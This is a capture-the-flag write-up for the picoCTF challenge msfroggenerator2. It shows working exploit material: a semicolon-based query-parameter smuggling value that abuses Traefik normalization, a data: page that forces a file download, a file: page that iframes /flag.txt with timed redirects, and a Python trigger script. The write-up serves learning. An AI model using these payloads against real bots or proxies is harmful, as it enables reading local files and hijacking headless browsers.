Solving picoCTF msfroggenerator2
This was one of those challenges that looked simple at first and then kept adding layers. The site is a frog designer, but the interesting part is not the image editor. The real bug is in the way the report bot parses and visits a URL.
Looking at the services
The challenge runs four services:
- OpenResty: the public-facing web server
- Traefik: an internal reverse proxy
- API: stores designs and screenshots
- Bot: opens the submitted URL in Chromium and sends back a screenshot
The important part of bot.js is roughly:
await page.goto('http://openresty:8080/');
await page.evaluate(flag => {
localStorage.setItem('flag', flag);
}, flag);
await page.goto(url);
await sleep(5000);
const screenshot = await page.screenshot({
type: 'png',
encoding: 'base64'
});
await page.evaluate(async screenshot => {
await fetch('/api/reports/add', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${localStorage.getItem('flag')}`
},
body: JSON.stringify({ screenshot })
});
}, screenshot);
The bot reads /flag.txt, places it in same-origin localStorage, visits our URL, waits five seconds, takes a screenshot, and submits it. The API does not let us add reports directly because it requires the flag in the Authorization header.
Bypassing the URL restriction
The public endpoint is /report?id=.... OpenResty builds the bot URL like this:
set_by_lua $url 'return "http://openresty:8080/?id=" .. ngx.var.arg_id';
proxy_pass "http://traefik:8080/?url=$url";
The bot service then parses its query string using:
const { url } = Object.fromEntries(
new URL(`http://${req.headers.host}${req.url}`).searchParams
);
Object.fromEntries() keeps the last value when a parameter appears more than once. So we want the bot to receive something like:
?url=http://openresty:8080/?id=...&url=OUR_URL
The obvious & does not survive the first parsing step, and %26 remains encoded inside the Lua variable. The useful detail is that the installed Traefik version normalizes semicolons into query separators. Therefore the request can use:
/report?id=;url=OUR_URL
After the proxies process it, the bot sees our second url parameter and visits OUR_URL. This behavior is documented in Traefik issue #9164.
Why JavaScript URLs were not enough
At first, I tried sending a javascript: URL that would read localStorage.flag and submit a report. The semicolon bypass worked, but Puppeteer returned ERR_ABORTED for the JavaScript navigation before the payload executed reliably.
That was an important distinction: the proxy bypass was real, but javascript: navigation was not a dependable execution primitive in this Chromium/Puppeteer setup.
Reading the local flag file
The bot runs as root and has the challenge flag mounted at:
/flag.txt
Chrome will not let an HTTP or data: page freely read a local file. However, a local HTML file loaded with the file: scheme can place another local file in an iframe. That gives us a two-stage plan:
- Use a
data:page to download a controlled HTML file into Chromeβs Downloads directory. - Open that file with
file:///root/Downloads/flagger.html. - Let the file display
file:///flag.txtin an iframe. - Around the five-second screenshot point, redirect back to
http://openresty:8080/api/getso the botβs own code can submit the screenshot with its stored flag.
The download payload uses a Blob and a synthetic click:
<body></body>
<script>
const blob = new Blob([atob("BASE64_READER_HTML")], {
type: "text/html"
});
const link = document.createElement("a");
link.download = "flagger.html";
link.href = URL.createObjectURL(blob);
document.body.appendChild(link);
link.dispatchEvent(new MouseEvent("click", {
bubbles: true,
cancelable: true
}));
</script>
The downloaded reader is:
<iframe src="file:///flag.txt"></iframe>
<script>
setTimeout(() => {
const delay = 5000 + (Math.random() * 2 - 1) * 100;
setTimeout(() => {
document.location.href = "http://openresty:8080/api/get";
}, delay);
});
</script>
The small random timing variation gives us several chances to catch the screenshot while the flag is visible but before the redirect has completely replaced the page.
One local-environment detail mattered: our bot image did not initially have /root/Downloads, so we created that directory inside the disposable container. Also, data:text/html, worked reliably in our Chromium build; the similar-looking data:html/text, form did not execute the download script.
Exploit script
The finished script is in download_exploit.py. To use it against an equivalent instance, change only BASE:
BASE = "http://TARGET_HOST:PORT"
The important trigger function is:
def trigger(target: str) -> str:
target_id = ";url=" + urllib.parse.quote(target, safe="")
request_url = f"{BASE}/report?id={target_id}"
with urllib.request.urlopen(request_url, timeout=10) as response:
return response.read().decode("utf-8", errors="replace")
The script sends the download stage first, waits for the bot to finish, and then sends the file: stage several times. It retrieves /api/reports/get, decodes each screenshot, and saves the PNGs locally.
Result
In the local container, the exploit generated new authorized reports and one screenshot visibly contained:
picoCTF{test_flag}
The later attempts captured the empty JSON response from /api/get, which is expected. The timing race is the final part of the challenge.


Main lessons
- Always inspect every parser boundary, especially when a value is parsed by multiple services.
- Duplicate query parameters can behave differently between parsers.
- A reverse proxy normalization quirk can turn a restricted URL into an arbitrary one.
- Browser security boundaries depend heavily on the URL scheme.
- When a bot takes a screenshot after a fixed delay, timing can be part of the exploit.